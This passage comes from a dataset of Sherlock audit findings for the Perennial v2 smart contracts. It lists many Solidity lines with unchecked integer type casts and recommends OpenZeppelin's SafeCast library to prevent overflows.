64)) >> (256 - 64))),\t// @audit-issue\n\n355: Accumulator6(Fixed6.wrap(int256(slot0 << (256 - 8 - 64 - 64 - 64)) >> (256 - 64))),\t// @audit-issue\n\n356: UAccumulator6(UFixed6.wrap(uint256(slot1 << (256 - 64)) >> (256 - 64))),\t// @audit-issue\n\n357: UAccumulator6(UFixed6.wrap(uint256(slot1 << (256 - 64 - 64)) >> (256 - 64))),\t// @audit-issue\n\n358: UAccumulator6(UFixed6.wrap(uint256(slot1 << (256 - 64 - 64 - 64)) >> (256 - 64)))\t// @audit-issue\n\n374: uint256((newValue.valid ? uint256(1) : uint256(0)) << (256 - 8)) >> (256 - 8) |\t// @audit-issue\n\n375: uint256(Fixed6.unwrap(newValue.makerValue._value) << (256 - 64)) >> (256 - 8 - 64) |\t// @audit-issue\n\n376: uint256(Fixed6.unwrap(newValue.longValue._value) << (256 - 64)) >> (256 - 8 - 64 - 64) |\t// @audit-issue\n\n377: uint256(Fixed6.unwrap(newValue.shortValue._value) << (256 - 64)) >> (256 - 8 - 64 - 64 - 64);\t// @audit-issue\n\n379: uint256(UFixed6.unwrap(newValue.makerReward._value) << (256 - 64)) >> (256 - 64) |\t// @audit-issue\n\n380: uint256(UFixed6.unwrap(newValue.longReward._value) << (256 - 64)) >> (256 - 64 - 64) |\t// @audit-issue\n\n381: uint256(UFixed6.unwrap(newValue.shortReward._value) << (256 - 64)) >> (256 - 64 - 64 - 64);\t// @audit-issue\n```\n*GitHub*: [352](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L352-L352), [353](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L353-L353), [354](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L354-L354), [355](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L355-L355), [356](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L356-L356), [357](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L357-L357), [358](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L358-L358), [374](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L374-L374), [375](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L375-L375), [376](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L376-L376), [377](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L377-L377), [379](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L379-L379), [380](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L380-L380), [381](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L381-L381)\n```solidity\nPath: ./perennial-v2/packages/perennial/contracts/types/Local.sol\n\n119: uint256(slot0 << (256 - 32)) >> (256 - 32),\t// @audit-issue\n\n120: uint256(slot0 << (256 - 32 - 32)) >> (256 - 32),\t// @audit-issue\n\n121: Fixed6.wrap(int256(slot0 << (256 - 32 - 32 - 64)) >> (256 - 64)),\t// @audit-issue\n\n122: UFixed6.wrap(uint256(slot0 << (256 - 32 - 32 - 64 - 64)) >> (256 - 64)),\t// @audit-issue\n\n123: (uint256(slot0) << (256 - 32 - 32 - 64 - 64 - 32)) >> (256 - 32)\t// @audit-issue\n\n128: if (newValue.currentId > uint256(type(uint32).max)) revert LocalStorageInvalidError();\t// @audit-issue\n\n129: if (newValue.latestId > uint256(type(uint32).max)) revert LocalStorageInvalidError();\t// @audit-issue\n\n133: if (newValue.protection > uint256(type(uint32).max)) revert LocalStorageInvalidError();\t// @audit-issue\n\n136: uint256(newValue.currentId << (256 - 32)) >> (256 - 32) |\t// @audit-issue\n\n137: uint256(newValue.latestId << (256 - 32)) >> (256 - 32 - 32) |\t// @audit-issue\n\n138: uint256(Fixed6.unwrap(newValue.collateral) << (256 - 64)) >> (256 - 32 - 32 - 64) |\t// @audit-issue\n\n139: uint256(UFixed6.unwrap(newValue.reward) << (256 - 64)) >> (256 - 32 - 32 - 64 - 64) |\t// @audit-issue\n\n140: uint256(newValue.protection << (256 - 32)) >> (256 - 32 - 32 - 64 - 64 - 32);\t// @audit-issue\n```\n*GitHub*: [119](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L119-L119), [120](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L120-L120), [121](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L121-L121), [122](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L122-L122), [123](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L123-L123), [128](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L128-L128), [129](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L129-L129), [133](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L133-L133), [136](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L136-L136), [137](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L137-L137), [138](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L138-L138), [139](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L139-L139), [140](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L140-L140)\n```solidity\nPath: ./perennial-v2/packages/perennial/contracts/types/Position.sol\n\n445: uint256(slot0 << (256 - 32)) >> (256 - 32),\t// @audit-issue\n\n446: UFixed6.wrap(uint256(slot1 << (256 - 64)) >> (256 - 64)),\t// @audit-issue\n\n447: UFixed6.wrap(uint256(slot0 << (256 - 32 - 48 - 48 - 64)) >> (256 - 64)),\t// @audit-issue\n\n448: UFixed6.wrap(uint256(slot0 << (256 - 32 - 48 - 48 - 64 - 64)) >> (256 - 64)),\t// @audit-issue\n\n449: Fixed6.wrap(int256(slot0 << (256 - 32 - 48)) >> (256 - 48)),\t// @audit-issue\n\n450: UFixed6.wrap(uint256(slot0 << (256 - 32 - 48 - 48)) >> (256 - 48)),\t// @audit-issue\n\n454: Fixed6.wrap(int256(slot1 << (256 - 64 - 64)) >> (256 - 64)),\t// @audit-issue\n\n455: Fixed6.wrap(int256(slot1 << (256 - 64 - 64 - 64)) >> (256 - 64)),\t// @audit-issue\n\n456: Fixed6.wrap(int256(slot1 << (256 - 64 - 64 - 64 - 64)) >> (256 - 64))\t// @audit-issue\n\n469: uint256(newValue.timestamp << (256 - 32)) >> (256 - 32) |\t// @audit-issue\n\n470: uint256(Fixed6.unwrap(newValue.fee) << (256 - 48)) >> (256 - 32 - 48) |\t// @audit-issue\n\n471: uint256(UFixed6.unwrap(newValue.keeper) << (256 - 48)) >> (256 - 32 - 48 - 48) |\t// @audit-issue\n\n472: uint256(UFixed6.unwrap(newValue.long) << (256 - 64)) >> (256 - 32 - 48 - 48 - 64) |\t// @audit-issue\n\n473: uint256(UFixed6.unwrap(newValue.short) << (256 - 64)) >> (256 - 32 - 48 - 48 - 64 - 64);\t// @audit-issue\n\n475: uint256(UFixed6.unwrap(newValue.maker) << (256 - 64)) >> (256 - 64) |\t// @audit-issue\n\n476: uint256(Fixed6.unwrap(newValue.invalidation.maker) << (256 - 64)) >> (256 - 64 - 64) |\t// @audit-issue\n\n477: uint256(Fixed6.unwrap(newValue.invalidation.long) << (256 - 64)) >> (256 - 64 - 64 - 64) |\t// @audit-issue\n\n478: uint256(Fixed6.unwrap(newValue.invalidation.short) << (256 - 64)) >> (256 - 64 - 64 - 64 - 64);\t// @audit-issue\n\n510: uint256 direction = uint256(slot1 << (256 - 2)) >> (256 - 2);\t// @audit-issue\n\n511: UFixed6 magnitude = UFixed6.wrap(uint256(slot1 << (256 - 2 - 62)) >> (256 - 62));\t// @audit-issue\n\n514: uint256(slot0 << (256 - 32)) >> (256 - 32),\t// @audit-issue\n\n518: Fixed6.wrap(int256(slot0 << (256 - 32 - 48)) >> (256 - 48)),\t// @audit-issue\n\n519: UFixed6.wrap(uint256(slot0 << (256 - 32 - 48 - 48)) >> (256 - 48)),\t// @audit-issue\n\n520: Fixed6.wrap(int256(slot0 << (256 - 32 - 48 - 48 - 64)) >> (256 - 64)),\t// @audit-issue\n\n521: Fixed6.wrap(int256(slot0 << (256 - 32 - 48 - 48 - 64 - 64)) >> (256 - 64)),\t// @audit-issue\n\n523: Fixed6.wrap(int256(slot1 << (256 - 2 - 62 - 64)) >> (256 - 64)),\t// @audit-issue\n\n524: Fixed6.wrap(int256(slot1 << (256 - 2 - 62 - 64 - 64)) >> (256 - 64)),\t// @audit-issue\n\n525: Fixed6.wrap(int256(slot1 << (256 - 2 - 62 - 64 - 64 - 64)) >> (256 - 64))\t// @audit-issue\n\n540: uint256(newValue.timestamp << (256 - 32)) >> (256 - 32) |\t// @audit-issue\n\n541: uint256(Fixed6.unwrap(newValue.fee) << (256 - 48)) >> (256 - 32 - 48) |\t// @audit-issue\n\n542: uint256(UFixed6.unwrap(newValue.keeper) << (256 - 48)) >> (256 - 32 - 48 - 48) |\t// @audit-issue\n\n543: uint256(Fixed6.unwrap(newValue.collateral) << (256 - 64)) >> (256 - 32 - 48 - 48 - 64) |\t// @audit-issue\n\n544: uint256(Fixed6.unwrap(newValue.delta) << (256 - 64)) >> (256 - 32 - 48 - 48 - 64 - 64);\t// @audit-issue\n\n546: uint256(direction << (256 - 2)) >> (256 - 2) |\t// @audit-issue\n\n547: uint256(UFixed6.unwrap(newValue.magnitude()) << (256 - 62)) >> (256 - 2 - 62) |\t// @audit-issue\n\n548: uint256(Fixed6.unwrap(newValue.invalidation.maker) << (256 - 64)) >> (256 - 2 - 62 - 64) |\t// @audit-issue\n\n549: uint256(Fixed6.unwrap(newValue.invalidation.long) << (256 - 64)) >> (256 - 2 - 62 - 64 - 64) |\t// @audit-issue\n\n550: uint256(Fixed6.unwrap(newValue.invalidation.short) << (256 - 64)) >> (256 - 2 - 62 - 64 - 64 - 64);\t// @audit-issue\n```\n*GitHub*: [445](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L445-L445), [446](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L446-L446), [447](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L447-L447), [448](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L448-L448), [449](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L449-L449), [450](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L450-L450), [454](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L454-L454), [455](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L455-L455), [456](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L456-L456), [469](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L469-L469), [470](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L470-L470), [471](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L471-L471), [472](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L472-L472), [473](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L473-L473), [475](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L475-L475), [476](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L476-L476), [477](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L477-L477), [478](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L478-L478), [510](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L510-L510), [511](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L511-L511), [514](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L514-L514), [518](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L518-L518), [519](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L519-L519), [520](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L520-L520), [521](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L521-L521), [523](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L523-L523), [524](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L524-L524), [525](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L525-L525), [540](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L540-L540), [541](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L541-L541), [542](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L542-L542), [543](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L543-L543), [544](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L544-L544), [546](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L546-L546), [547](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L547-L547), [548](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L548-L548), [549](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L549-L549), [550](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L550-L550)\n```solidity\nPath: ./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol\n\n45: oracles[global.current].timestamp = uint96(currentTimestamp);\t// @audit-issue\n\n74: if (timestamp > uint256(oracles[i].timestamp)) break;\t// @audit-issue\n\n90: oracles[global.current].timestamp = uint96(latestVersion.timestamp);\t// @audit-issue\n\n94: oracles[++global.current] = Epoch(newProvider, uint96(newProvider.current()));\t// @audit-issue\n\n117: uint256(isLatestStale ? oracles[global.current].timestamp : oracles[global.latest].timestamp);\t// @audit-issue\n\n129: if (uint256(oracles[global.latest].timestamp) > oracles[global.latest].provider.latest().timestamp) return false;\t// @audit-issue\n\n130: if (uint256(oracles[global.latest].timestamp) >= currentOracleLatestVersion.timestamp) return false;\t// @audit-issue\n```\n*GitHub*: [45](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L45-L45), [74](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L74-L74), [90](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L90-L90), [94](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L94-L94), [117](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L117-L117), [129](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L129-L129), [130](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L130-L130)\n```solidity\nPath: ./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol\n\n147: uint256 effectiveGranularity = block.timestamp <= uint256(_granularity.effectiveAfter) ?\t// @audit-issue\n\n148: uint256(_granularity.latestGranularity) :\t// @audit-issue\n\n149: uint256(_granularity.currentGranularity);\t// @audit-issue\n\n243: if (_current <= uint256(_granularity.effectiveAfter)) revert KeeperFactoryInvalidGranularityError();\t// @audit-issue\n\n248: uint64(newGranularity),\t// @audit-issue\n\n249: uint128(_current)\t// @audit-issue\n```\n*GitHub*: [147](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L147-L147), [148](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L148-L148), [149](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L149-L149), [243](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L243-L243), [248](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L248-L248), [249](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L249-L249)\n```solidity\nPath: ./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol\n\n121: _global.latestVersion = uint64(version.timestamp);\t// @audit-issue\n```\n*GitHub*: [121](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol#L121-L121)\n```solidity\nPath: ./perennial-v2/packages/perennial-oracle/contracts/pyth/PythFactory.sol\n\n66: Fixed6 base = Fixed6Lib.from(int256(10 ** SignedMath.abs(exponent)));\t// @audit-issue\n```\n*GitHub*: [66](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/pyth/PythFactory.sol#L66-L66)\n```solidity\nPath: ./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol\n\n76: uint8(storedValue.side),\t// @audit-issue\n\n77: int8(storedValue.comparison),\t// @audit-issue\n\n78: UFixed6.wrap(uint256(storedValue.fee)),\t// @audit-issue\n\n79: Fixed6.wrap(int256(storedValue.price)),\t// @audit-issue\n\n80: Fixed6.wrap(int256(storedValue.delta)),\t// @audit-issue\n\n82: UFixed6.wrap(uint256(storedValue.interfaceFeeAmount)),\t// @audit-issue\n\n101: uint8(newValue.side),\t// @audit-issue\n\n102: int8(newValue.comparison),\t// @audit-issue\n\n103: uint64(UFixed6.unwrap(newValue.fee)),\t// @audit-issue\n\n104: int64(Fixed6.unwrap(newValue.price)),\t// @audit-issue\n\n105: int64(Fixed6.unwrap(newValue.delta)),\t// @audit-issue\n\n106: uint40(UFixed6.unwrap(newValue.interfaceFee.amount)),\t// @audit-issue\n```\n*GitHub*: [76](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L76-L76), [77](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L77-L77), [78](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L78-L78), [79](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L79-L79), [80](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L80-L80), [82](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L82-L82), [101](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L101-L101), [102](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L102-L102), [103](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L103-L103), [104](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L104-L104), [105](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L105-L105), [106](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L106-L106)\n \n## Tool used\nManual Review - Used my own static analyzer (still in development)\n\n\n## Recommendation\nIncorporate OpenZeppelin's SafeCast library to perform type casting. This library provides functions like toUint256(), toUint128(), and toInt256() which include overflow and underflow checks.","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//008/019.md"}}
+{"title":"Consider using OpenZeppelin’s `SafeCast` library to prevent unexpected overflows when casting from various type int/uint values","body":"Sweet Daffodil Pelican\n\nfalse\n\n# Consider using OpenZeppelin’s `SafeCast` library to prevent unexpected overflows when casting from various type int/uint values\n\n\n### [L-05] Consider using OpenZeppelin’s `SafeCast` library to prevent unexpected overflows when casting from various type int/uint values\n### Severity\n* Impact: Low\n* Likelihood: Low\n### Description\n\n\n### Number Of Instances Found\n139\n\n### Code Location\nClick to show findings
\n\n```solidity\nPath: ./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol\n\n110: UFixed6.wrap(uint256( slot0 << (256 - 24)) >> (256 - 24)),\t// @audit-issue\n\n111: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24)) >> (256 - 24)),\t// @audit-issue\n\n112: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24)) >> (256 - 24)),\t// @audit-issue\n\n113: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24 - 24)) >> (256 - 24)),\t// @audit-issue\n\n114: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24 - 24 - 24)) >> (256 - 24)),\t// @audit-issue\n\n115: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24 - 24 - 24 - 24)) >> (256 - 24)),\t// @audit-issue\n\n116: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24 - 24 - 24 - 24 - 24)) >> (256 - 24)),\t// @audit-issue\n\n117: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24 - 24 - 24 - 24 - 24 - 64)) >> (256 - 64)),\t// @audit-issue\n\n118: UFixed6.wrap(uint256( slot0 << (256 - 24 - 24 - 24 - 24 - 24 - 24 - 24 - 64 - 24)) >> (256 - 24)),\t// @audit-issue\n\n120: UFixed6.wrap(uint256( slot1 << (256 - 24)) >> (256 - 24)),\t// @audit-issue\n\n121: UFixed6.wrap(uint256( slot1 << (256 - 24 - 48)) >> (256 - 48)),\t// @audit-issue\n\n122: UFixed6.wrap(uint256( slot2 << (256 - 48 - 32 - 48 - 48 - 48)) >> (256 - 48)),\t// @audit-issue\n\n124: UFixed6.wrap(uint256( slot1 << (256 - 24 - 48 - 64 - 32)) >> (256 - 32)),\t// @audit-issue\n\n125: UFixed6.wrap(uint256( slot1 << (256 - 24 - 48 - 64 - 32 - 32)) >> (256 - 32)),\t// @audit-issue\n\n126: UFixed6.wrap(uint256( slot1 << (256 - 24 - 48 - 64 - 32 - 32 - 32)) >> (256 - 32)),\t// @audit-issue\n\n127: UFixed6.wrap(uint256( slot1 << (256 - 24 - 48 - 64 - 32 - 32 - 32 - 24)) >> (256 - 24))\t// @audit-issue\n\n131: UFixed6.wrap(uint256( slot2 << (256 - 48)) >> (256 - 48)),\t// @audit-issue\n\n132: UFixed6.wrap(uint256( slot2 << (256 - 48 - 32)) >> (256 - 32))\t// @audit-issue\n\n134: UFixed6.wrap(uint256( slot2 << (256 - 48 - 32 - 48)) >> (256 - 48)),\t// @audit-issue\n\n135: UFixed6.wrap(uint256( slot2 << (256 - 48 - 32 - 48 - 48)) >> (256 - 48)),\t// @audit-issue\n\n136: UFixed6.wrap(uint256( slot1 << (256 - 24 - 48 - 64)) >> (256 - 64)),\t// @audit-issue\n\n137: uint256( slot2 << (256 - 48 - 32 - 48 - 48 - 48 - 24)) >> (256 - 24),\t// @audit-issue\n\n138: 0 != (uint256( slot2 << (256 - 48 - 32 - 48 - 48 - 48 - 24 - 8)) >> (256 - 8))\t// @audit-issue\n\n185: if (newValue.staleAfter > uint256(type(uint24).max)) revert RiskParameterStorageInvalidError();\t// @audit-issue\n\n188: uint256(UFixed6.unwrap(newValue.margin) << (256 - 24)) >> (256 - 24) |\t// @audit-issue\n\n189: uint256(UFixed6.unwrap(newValue.maintenance) << (256 - 24)) >> (256 - 24 - 24) |\t// @audit-issue\n\n190: uint256(UFixed6.unwrap(newValue.takerFee) << (256 - 24)) >> (256 - 24 - 24 - 24) |\t// @audit-issue\n\n191: uint256(UFixed6.unwrap(newValue.takerSkewFee) << (256 - 24)) >> (256 - 24 - 24 - 24 - 24) |\t// @audit-issue\n\n192: uint256(UFixed6.unwrap(newValue.takerImpactFee) << (256 - 24)) >> (256 - 24 - 24 - 24 - 24 - 24) |\t// @audit-issue\n\n193: uint256(UFixed6.unwrap(newValue.makerFee) << (256 - 24)) >> (256 - 24 - 24 - 24 - 24 - 24 - 24) |\t// @audit-issue\n\n194: uint256(UFixed6.unwrap(newValue.makerImpactFee) << (256 - 24)) >> (256 - 24 - 24 - 24 - 24 - 24 - 24 - 24) |\t// @audit-issue\n\n195: uint256(UFixed6.unwrap(newValue.makerLimit) << (256 - 64)) >> (256 - 24 - 24 - 24 - 24 - 24 - 24 - 24 - 64) |\t// @audit-issue\n\n196: uint256(UFixed6.unwrap(newValue.efficiencyLimit) << (256 - 24)) >> (256 - 24 - 24 - 24 - 24 - 24 - 24 - 24 - 64 - 24);\t// @audit-issue\n\n199: uint256(UFixed6.unwrap(newValue.liquidationFee) << (256 - 24)) >> (256 - 24) |\t// @audit-issue\n\n200: uint256(UFixed6.unwrap(newValue.minLiquidationFee) << (256 - 48)) >> (256 - 24 - 48) |\t// @audit-issue\n\n201: uint256(UFixed6.unwrap(newValue.skewScale) << (256 - 64)) >> (256 - 24 - 48 - 64) |\t// @audit-issue\n\n202: uint256(UFixed6.unwrap(newValue.utilizationCurve.minRate) << (256 - 32)) >> (256 - 24 - 48 - 64 - 32) |\t// @audit-issue\n\n203: uint256(UFixed6.unwrap(newValue.utilizationCurve.maxRate) << (256 - 32)) >> (256 - 24 - 48 - 64 - 32 - 32) |\t// @audit-issue\n\n204: uint256(UFixed6.unwrap(newValue.utilizationCurve.targetRate) << (256 - 32)) >> (256 - 24 - 48 - 64 - 32 - 32 - 32) |\t// @audit-issue\n\n205: uint256(UFixed6.unwrap(newValue.utilizationCurve.targetUtilization) << (256 - 24)) >> (256 - 24 - 48 - 64 - 32 - 32 - 32 - 24);\t// @audit-issue\n\n208: uint256(UFixed6.unwrap(newValue.pController.k) << (256 - 48)) >> (256 - 48) |\t// @audit-issue\n\n209: uint256(UFixed6.unwrap(newValue.pController.max) << (256 - 32)) >> (256 - 48 - 32) |\t// @audit-issue\n\n210: uint256(UFixed6.unwrap(newValue.minMargin) << (256 - 48)) >> (256 - 48 - 32 - 48) |\t// @audit-issue\n\n211: uint256(UFixed6.unwrap(newValue.minMaintenance) << (256 - 48)) >> (256 - 48 - 32 - 48 - 48) |\t// @audit-issue\n\n212: uint256(UFixed6.unwrap(newValue.maxLiquidationFee) << (256 - 48)) >> (256 - 48 - 32 - 48 - 48 - 48) |\t// @audit-issue\n\n213: uint256(newValue.staleAfter << (256 - 24)) >> (256 - 48 - 32 - 48 - 48 - 48 - 24) |\t// @audit-issue\n\n214: 